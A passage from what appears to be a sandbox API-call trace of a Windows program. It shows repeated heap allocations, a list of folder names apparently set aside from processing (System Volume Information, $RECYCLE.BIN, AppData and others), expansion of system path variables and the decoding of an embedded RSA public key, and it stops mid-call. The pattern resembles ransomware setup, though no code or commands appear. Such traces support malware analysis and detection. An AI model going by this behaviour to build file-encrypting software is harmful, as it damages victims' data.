(HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc700 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2c0 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc6b8 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2d0 [0254.916] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc670 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2e0) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2f0) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc2c8) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd300) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd310) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1f0) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd320) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc238) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd360) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc280) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd350) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc90) returned 1 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x20) returned 0xdcbc90 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd350 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd360 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc238 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd320 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1f0 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd310 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd300 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc2c8 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2f0 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2e0 [0254.917] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc820) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd280) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc7d8) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd270) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc790) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd290) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc748) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2a0) returned 1 [0254.917] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc700) returned 1 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2b0) returned 1 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc6b8) returned 1 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2c0) returned 1 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc670) returned 1 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2d0) returned 1 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd5058) returned 1 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0254.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc280, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdb68 [0254.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc280, cbMultiByte=25, lpWideCharStr=0xdcdb68, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdbf0 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdb68) returned 1 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2d0 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdb68 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdbf0) returned 1 [0254.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc238, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdbf0 [0254.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc238, cbMultiByte=12, lpWideCharStr=0xdcdbf0, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdc78 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdbf0) returned 1 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2c0 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdbf0 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdc78) returned 1 [0254.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc1f0, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdc78 [0254.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc1f0, cbMultiByte=8, lpWideCharStr=0xdcdc78, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdd00 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdc78) returned 1 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2b0 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdc78 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdd00) returned 1 [0254.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc1a8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdd00 [0254.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc1a8, cbMultiByte=6, lpWideCharStr=0xdcdd00, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdd88 [0254.918] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdd00) returned 1 [0254.918] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2a0 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdd00 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdd88) returned 1 [0254.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc2c8, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdd88 [0254.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc2c8, cbMultiByte=11, lpWideCharStr=0xdcdd88, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcde10 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdd88) returned 1 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x20) returned 0xdcdd88 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd290 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcde98 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcde10) returned 1 [0254.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc160, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcddb0 [0254.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc160, cbMultiByte=7, lpWideCharStr=0xdcddb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdf20 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcddb0) returned 1 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd270 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcdfc0 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcdf20) returned 1 [0254.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc310, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce048 [0254.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdcc310, cbMultiByte=11, lpWideCharStr=0xdce048, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce0d0 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdce048) returned 1 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd280 [0254.919] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdce048 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdce0d0) returned 1 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc280) returned 1 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd350) returned 1 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc238) returned 1 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd360) returned 1 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1f0) returned 1 [0254.919] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd320) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd310) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc2c8) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd300) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2f0) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2e0) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc90) returned 1 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x2800) returned 0xdd2850 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2e0 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2e0) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x2800) returned 0xdd2850 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2e0 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2f0 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc2c8 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd300 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.920] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.920] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd310 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd6a0 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd320 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1f0 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd360 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc238 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd350 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd370 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc670 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2e0) returned 1 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc2c8) returned 1 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2f0) returned 1 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd300) returned 1 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd310) returned 1 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd670 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd310 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc310 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd300 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2f0 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc2c8 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd2e0 [0254.921] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1f0) returned 1 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd320) returned 1 [0254.921] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc238) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd360) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc280) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd350) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc670) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd370) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd6a0) returned 1 [0254.922] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x10) returned 0xdcd6a0 [0254.922] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd370 [0254.922] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc670 [0254.922] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd350 [0254.922] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc280 [0254.922] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd360 [0254.922] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc238 [0254.922] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x8) returned 0xdcd320 [0254.922] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1f0 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc310) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd310) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd300) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc2c8) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2f0) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd2e0) returned 1 [0254.922] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcd670) returned 1 [0254.922] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xdd2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0254.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0254.923] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xdd2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0254.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0254.923] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xdd2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0254.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0254.923] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xdd2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0254.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xdd2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0254.923] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0254.923] CryptStringToBinaryA (in: 